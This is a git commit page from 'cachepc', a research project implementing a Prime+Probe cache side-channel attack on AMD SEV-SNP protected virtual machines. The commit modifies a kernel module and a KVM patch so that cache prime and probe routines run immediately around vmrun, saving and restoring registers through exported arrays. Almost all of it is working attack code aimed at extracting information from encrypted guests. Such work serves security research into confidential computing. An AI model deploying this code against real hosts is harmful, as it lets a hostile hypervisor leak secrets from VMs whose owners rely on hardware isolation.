cachepc

Prime+Probe cache-based side-channel attack on AMD SEV-SNP protected virtual machines
git clone https://git.sinitax.com/sinitax/cachepc
Log | Files | Refs | Submodules | README | sfeed.txt

commit d4ca1bb9a12e64e8b0a09f7a4316eda628f4edf1
parent 24d7c448e49e3dc2abbf3bc804247fb30410775a
Author: Louis Burda <quent.burda@gmail.com>
Date:   Tue,  6 Sep 2022 14:30:25 +0200

Improve register saving and restoring for prime & probe around vmrun

Diffstat:
Mkmod/asm.h | 0
Mkmod/cache_types.h | 0
Mkmod/cachepc.c | 2--
Mkmod/cachepc.h | 3+++
Mkmod/cachepc_user.h | 0
Mkmod/device_conf.h | 0
Mkmod/kvm.c | 5+++++
Mkmod/util.c | 0
Mkmod/util.h | 0
Mpatch.diff | 180++++++++++++++++++++++++++++++++++++-------------------------------------------
10 files changed, 91 insertions(+), 99 deletions(-)

diff --git a/kmod/asm.h b/kmod/asm.h diff --git a/kmod/cache_types.h b/kmod/cache_types.h diff --git a/kmod/cachepc.c b/kmod/cachepc.c @@ -16,8 +16,6 @@ static void build_randomized_list_for_cache_set(cache_ctx *ctx, cacheline **cach static cacheline **allocate_cache_ds(cache_ctx *ctx); static uint16_t get_virt_cache_set(cache_ctx *ctx, void *ptr); -cacheline *cachepc_prime_cl = NULL; - void cachepc_prime_vcall(uintptr_t ret, cacheline *cl) { diff --git a/kmod/cachepc.h b/kmod/cachepc.h @@ -45,6 +45,9 @@ extern size_t cachepc_msrmts_count; extern cache_ctx *cachepc_ctx; extern cacheline *cachepc_ds; +extern uint64_t cachepc_regs_tmp[16]; +extern uint64_t cachepc_regs_vm[16]; + /* * Prime phase: fill the target cache (encoded in the size of the data structure) * with the prepared data structure, i.e. with attacker data. diff --git a/kmod/cachepc_user.h b/kmod/cachepc_user.h diff --git a/kmod/device_conf.h b/kmod/device_conf.h diff --git a/kmod/kvm.c b/kmod/kvm.c @@ -18,6 +18,11 @@ cacheline *cachepc_ds; EXPORT_SYMBOL(cachepc_ctx); EXPORT_SYMBOL(cachepc_ds); +uint64_t cachepc_regs_tmp[16]; +uint64_t cachepc_regs_vm[16]; +EXPORT_SYMBOL(cachepc_regs_tmp); +EXPORT_SYMBOL(cachepc_regs_vm); + int cachepc_kvm_proc_open(struct inode *inode, struct file *file) { diff --git a/kmod/util.c b/kmod/util.c diff --git a/kmod/util.h b/kmod/util.h diff --git a/patch.diff b/patch.diff @@ -1,5 +1,5 @@ diff --git a/arch/x86/kvm/Makefile b/arch/x86/kvm/Makefile -index b804444e16d4..66a4d56e331a 100644 +index b804444e16d4..e94fa8c02a1d 100644 --- a/arch/x86/kvm/Makefile +++ b/arch/x86/kvm/Makefile @@ -1,6 +1,6 @@ @@ -32,7 +32,7 @@ index b804444e16d4..66a4d56e331a 100644 obj-$(CONFIG_KVM) += kvm.o obj-$(CONFIG_KVM_INTEL) += kvm-intel.o diff --git a/arch/x86/kvm/svm/svm.c b/arch/x86/kvm/svm/svm.c -index 7b3cfbe8f7e3..c7952eab7c6d 100644 +index 7b3cfbe8f7e3..241ce70885dc 100644 --- a/arch/x86/kvm/svm/svm.c +++ b/arch/x86/kvm/svm/svm.c @@ -2,6 +2,8 @@ @@ -44,24 +44,30 @@ index 7b3cfbe8f7e3..c7952eab7c6d 100644 #include "irq.h" #include "mmu.h" #include "kvm_cache_regs.h" -@@ -3749,9 +3751,26 @@ static noinstr void svm_vcpu_enter_exit(struct kvm_vcpu *vcpu, +@@ -3728,6 +3730,8 @@ void __svm_vcpu_run(unsigned long vmcb_pa, unsigned long *regs); + static noinstr void svm_vcpu_enter_exit(struct kvm_vcpu *vcpu, + struct vcpu_svm *svm) + { ++ int cpu; ++ + /* + * VMENTER enables interrupts (host state), but the kernel state is + * interrupts disabled when this is invoked. Also tell RCU about +@@ -3749,9 +3753,23 @@ static noinstr void svm_vcpu_enter_exit(struct kvm_vcpu *vcpu, lockdep_hardirqs_on(CALLER_ADDR0); if (sev_es_guest(svm->vcpu.kvm)) { + memset(cachepc_msrmts, 0, 64 * 2); -+ int cpu = get_cpu(); ++ cpu = get_cpu(); + local_irq_disable(); + WARN_ON(cpu != 2); -+ cacheline *next; -+ next = cachepc_prime(cachepc_ds); __svm_sev_es_vcpu_run(svm->vmcb_pa); -+ cachepc_probe(next); + cachepc_save_msrmts(cachepc_ds); + local_irq_enable(); + put_cpu(); } else { + memset(cachepc_msrmts, 0, 64 * 2); -+ int cpu = get_cpu(); ++ cpu = get_cpu(); + local_irq_disable(); + WARN_ON(cpu != 2); __svm_vcpu_run(svm->vmcb_pa, (unsigned long *)&svm->vcpu.arch.regs); @@ -71,21 +77,21 @@ index 7b3cfbe8f7e3..c7952eab7c6d 100644 #ifdef CONFIG_X86_64 native_wrmsrl(MSR_GS_BASE, svm->host.gs_base); -@@ -3785,8 +3804,12 @@ static noinstr void svm_vcpu_enter_exit(struct kvm_vcpu *vcpu, +@@ -3785,8 +3803,12 @@ static noinstr void svm_vcpu_enter_exit(struct kvm_vcpu *vcpu, static __no_kcsan fastpath_t svm_vcpu_run(struct kvm_vcpu *vcpu) { - struct vcpu_svm *svm = to_svm(vcpu); + struct vcpu_svm *svm; - ++ + printk(KERN_WARNING "CachePC: svm_cpu_enter_exit()\n"); + WARN_ON(smp_processor_id() != 2); -+ + + svm = to_svm(vcpu); svm->vmcb->save.rax = vcpu->arch.regs[VCPU_REGS_RAX]; svm->vmcb->save.rsp = vcpu->arch.regs[VCPU_REGS_RSP]; svm->vmcb->save.rip = vcpu->arch.regs[VCPU_REGS_RIP]; -@@ -3888,7 +3911,7 @@ static __no_kcsan fastpath_t svm_vcpu_run(struct kvm_vcpu *vcpu) +@@ -3888,7 +3910,7 @@ static __no_kcsan fastpath_t svm_vcpu_run(struct kvm_vcpu *vcpu) svm->vmcb->control.tlb_ctl = TLB_CONTROL_DO_NOTHING; vmcb_mark_all_clean(svm->vmcb); @@ -95,10 +101,10 @@ index 7b3cfbe8f7e3..c7952eab7c6d 100644 if (svm->vmcb->control.exit_code == SVM_EXIT_EXCP_BASE + PF_VECTOR) svm->vcpu.arch.apf.host_apf_flags = diff --git a/arch/x86/kvm/svm/vmenter.S b/arch/x86/kvm/svm/vmenter.S -index 6feb8c08f45a..eb0ea02ef187 100644 +index 6feb8c08f45a..60da3cff6c49 100644 --- a/arch/x86/kvm/svm/vmenter.S +++ b/arch/x86/kvm/svm/vmenter.S -@@ -27,14 +27,74 @@ +@@ -27,14 +27,59 @@ #define VCPU_R15 __VCPU_REGS_R15 * WORD_SIZE #endif @@ -106,54 +112,39 @@ index 6feb8c08f45a..eb0ea02ef187 100644 + .section .noinstr.text, "ax" -+.macro push_xmm gpr xmm -+ vmovq \gpr, \xmm ++.macro load_tmp off reg ++ mov cachepc_regs_tmp(off), reg +.endm + -+.macro pop_xmm gpr xmm -+ vmovq \xmm, \gpr ++.macro save_tmp off reg ++ mov reg, cachepc_regs_tmp(off) +.endm + -+.macro swap_xmm grp xmm -+ vmovq \grp, %xmm15 -+ vmovq \xmm, \grp -+ vmovq %xmm15, \xmm ++.macro load_vm off reg ++ mov cachepc_regs_vm(off), reg +.endm + -+.macro push_all -+ push_xmm %rax, %xmm0 -+ push_xmm %rbx, %xmm1 -+ push_xmm %rcx, %xmm2 -+ push_xmm %rdx, %xmm3 -+ push_xmm %rbp, %xmm4 -+ push_xmm %rsp, %xmm5 -+ push_xmm %rdi, %xmm6 -+ push_xmm %rsi, %xmm7 -+ push_xmm %r8, %xmm8 -+ push_xmm %r9, %xmm9 -+ push_xmm %r10, %xmm10 -+ push_xmm %r11, %xmm11 -+ push_xmm %r12, %xmm12 -+ push_xmm %r13, %xmm13 -+ push_xmm %r14, %xmm14 ++.macro save_vm off reg ++ mov reg, cachepc_regs_vm(off) +.endm + -+.macro swap_all -+ swap_xmm %rax, %xmm0 -+ swap_xmm %rbx, %xmm1 -+ swap_xmm %rcx, %xmm2 -+ swap_xmm %rdx, %xmm3 -+ swap_xmm %rbp, %xmm4 -+ swap_xmm %rsp, %xmm5 -+ swap_xmm %rdi, %xmm6 -+ swap_xmm %rsi, %xmm7 -+ swap_xmm %r8, %xmm8 -+ swap_xmm %r9, %xmm9 -+ swap_xmm %r10, %xmm10 -+ swap_xmm %r11, %xmm11 -+ swap_xmm %r12, %xmm12 -+ swap_xmm %r13, %xmm13 -+ swap_xmm %r14, %xmm14 ++.macro apply_regs func ++ func 0x00, %rax ++ func 0x08, %rbx ++ func 0x10, %rcx ++ func 0x18, %rdx ++ func 0x20, %rbp ++ func 0x28, %rsp ++ func 0x30, %rdi ++ func 0x38, %rsi ++ func 0x40, %r8 ++ func 0x48, %r9 ++ func 0x50, %r10 ++ func 0x58, %r11 ++ func 0x60, %r12 ++ func 0x68, %r13 ++ func 0x70, %r14 ++ func 0x78, %r15 +.endm + +.macro barrier @@ -168,12 +159,12 @@ index 6feb8c08f45a..eb0ea02ef187 100644 * @regs: unsigned long * (to guest registers) */ SYM_FUNC_START(__svm_vcpu_run) -+ push_all ++ apply_regs save_tmp + push %_ASM_BP #ifdef CONFIG_X86_64 push %r15 -@@ -45,6 +105,7 @@ SYM_FUNC_START(__svm_vcpu_run) +@@ -45,6 +90,7 @@ SYM_FUNC_START(__svm_vcpu_run) push %edi push %esi #endif @@ -181,43 +172,37 @@ index 6feb8c08f45a..eb0ea02ef187 100644 push %_ASM_BX /* Save @regs. */ -@@ -85,8 +146,25 @@ SYM_FUNC_START(__svm_vcpu_run) - jne 3f +@@ -86,7 +132,28 @@ SYM_FUNC_START(__svm_vcpu_run) ud2 _ASM_EXTABLE(1b, 2b) -+ + +-3: vmrun %_ASM_AX +3: -+ swap_all ++ apply_regs save_vm ++ apply_regs load_tmp + mov cachepc_ds, %rsi + mov 0x8(%rsi), %r15 + lea sev_prime_ret(%rip), %rdi + jmp cachepc_prime_vcall+1 // skip stack pushes +sev_prime_ret: -+ swap_all ++ apply_regs save_tmp ++ apply_regs load_vm + + vmrun %_ASM_AX + -+ swap_all ++ apply_regs save_vm ++ apply_regs load_tmp + mov %r15, %rsi + lea sev_probe_ret(%rip), %rdi + jmp cachepc_probe_vcall+6 // skip stack pushs +sev_probe_ret: -+ swap_all - --3: vmrun %_ASM_AX ++ apply_regs save_tmp ++ apply_regs load_vm ++ jmp 5f 4: cmpb $0, kvm_rebooting jne 5f -@@ -100,7 +178,7 @@ SYM_FUNC_START(__svm_vcpu_run) - ud2 - _ASM_EXTABLE(5b, 6b) - 7: -- cli -+ cli - - #ifdef CONFIG_RETPOLINE - /* IMPORTANT: Stuff the RSB immediately after VM-Exit, before RET! */ -@@ -166,6 +244,11 @@ SYM_FUNC_START(__svm_vcpu_run) +@@ -166,6 +233,11 @@ SYM_FUNC_START(__svm_vcpu_run) pop %edi #endif pop %_ASM_BP @@ -229,47 +214,48 @@ index 6feb8c08f45a..eb0ea02ef187 100644 ret SYM_FUNC_END(__svm_vcpu_run) -@@ -174,6 +257,8 @@ SYM_FUNC_END(__svm_vcpu_run) +@@ -174,6 +246,8 @@ SYM_FUNC_END(__svm_vcpu_run) * @vmcb_pa: unsigned long */ SYM_FUNC_START(__svm_sev_es_vcpu_run) -+ push_all ++ apply_regs save_tmp + push %_ASM_BP #ifdef CONFIG_X86_64 push %r15 -@@ -190,7 +275,28 @@ SYM_FUNC_START(__svm_sev_es_vcpu_run) +@@ -190,7 +264,29 @@ SYM_FUNC_START(__svm_sev_es_vcpu_run) mov %_ASM_ARG1, %_ASM_AX sti -1: vmrun %_ASM_AX +1: + -+// swap_all -+// mov cachepc_ds, %rsi -+// mov 0x8(%rsi), %r15 -+// lea sev_es_prime_ret(%rip), %rdi -+// jmp cachepc_prime_vcall+1 // skip stack pushes -+//sev_es_prime_ret: -+// swap_all -+ -+// // TEST r15 dependance -+// movq $0x41414141, %r15 ++ apply_regs save_vm ++ apply_regs load_tmp ++ mov cachepc_ds, %rsi ++ mov 0x8(%rsi), %r15 ++ lea sev_es_prime_ret(%rip), %rdi ++ jmp cachepc_prime_vcall+1 // skip stack pushes ++sev_es_prime_ret: ++ apply_regs save_tmp ++ apply_regs load_vm + + vmrun %_ASM_AX + -+// swap_all -+// mov %r15, %rsi -+// lea sev_es_probe_ret(%rip), %rdi -+// jmp cachepc_probe_vcall+6 // skip stack pushs -+//sev_es_probe_ret: -+// swap_all ++ apply_regs save_vm ++ apply_regs load_tmp ++ mov %r15, %rsi ++ lea sev_es_probe_ret(%rip), %rdi ++ jmp cachepc_probe_vcall+6 // skip stack pushs ++sev_es_probe_ret: ++ apply_regs save_tmp ++ apply_regs load_vm + jmp 3f 2: cmpb $0, kvm_rebooting jne 3f diff --git a/virt/kvm/kvm_main.c b/virt/kvm/kvm_main.c -index 2541a17ff1c4..8796ad5e9b73 100644 +index 2541a17ff1c4..1345938d1d2b 100644 --- a/virt/kvm/kvm_main.c +++ b/virt/kvm/kvm_main.c @@ -66,6 +66,8 @@ @@ -281,7 +267,7 @@ index 2541a17ff1c4..8796ad5e9b73 100644 MODULE_AUTHOR("Qumranet"); MODULE_LICENSE("GPL"); -@@ -4848,6 +4849,8 @@ int kvm_init(void *opaque, unsigned vcpu_size, unsigned vcpu_align, +@@ -4848,6 +4850,8 @@ int kvm_init(void *opaque, unsigned vcpu_size, unsigned vcpu_align, r = kvm_vfio_ops_init(); WARN_ON(r); @@ -290,7 +276,7 @@ index 2541a17ff1c4..8796ad5e9b73 100644 return 0; out_unreg: -@@ -4872,6 +4875,8 @@ EXPORT_SYMBOL_GPL(kvm_init); +@@ -4872,6 +4876,8 @@ EXPORT_SYMBOL_GPL(kvm_init); void kvm_exit(void) {